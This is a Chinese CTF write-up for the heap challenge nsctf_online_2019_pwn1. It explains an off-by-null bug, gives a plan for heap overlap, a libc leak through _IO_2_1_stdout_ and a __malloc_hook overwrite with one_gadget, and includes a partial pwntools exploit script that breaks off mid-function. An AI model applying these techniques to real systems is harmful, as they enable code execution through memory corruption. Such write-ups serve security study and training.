目录
nsctf_online_2019_pwn1(堆重叠,_IO_2_1_stdout_泄露libc)
添加没有太大限制,但是会把之前内容清空
删除没有指针悬挂,并且没有show功能
edit有一个off-by-null
利用思路
因为本题的memset清0使得题目变得复杂了一点
- 进行4次add,之后删除0,并且利用off-by-null把0,1,2合并
add(0xf8, 'chunk0\n')
add(0x68, 'chunk1\n')
add(0xf8, 'chunk2\n')
add(0x18, 'chunk3\n')
- 合并之后申请一次0xf8(index0),再次add,此时重新申请出和chunk1相同地址的chunk,index为2
- 再利用off-by-null进行堆重叠,这次申请一次0xf8,把main_arena+0x58的地址留在index1的fd,这时删除0又add 0x102,就可以利用partial rewrite把
_IO_2_1_stdout_
附近的地址写上去(需要爆破1位) - 泄露出libc地址之后,删除1,使用2的编辑功能在fd写上
__malloc_hook-0x23
的地址,在__malloc_hook
处写上one_gadget就行
Exp:
from pwn import *
#r = remote("node3.buuoj.cn", 27089)
#r = process("./nsctf_online_2019_pwn1")
context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0xED3)
x/10gx $rebase(0x2020A0)
c
''')
def debug():
gdb.attach(r,
'''
b *$rebase(0xED3)
x/10gx $rebase(0x2020A0)
c
''')
elf = ELF("./nsctf_online_2019_pwn1")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "5.exit\n"
def add(size, name):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("Input the size:\n")
r.sendline(str(size))
r.recvuntil("Input the content:")
r.send(name)
def delete(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Input the index:\n")
r.sendline(str(index))
def edit(index, size, content):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Input the index:\n")
r.sendline(str(index))
r.recvuntil("Input size:\n")
r.sendline(str(size))
r.recvuntil("Input new content:\n")
r.send(content)
def pwn():
add(0xf8, 'chunk0\n')
add(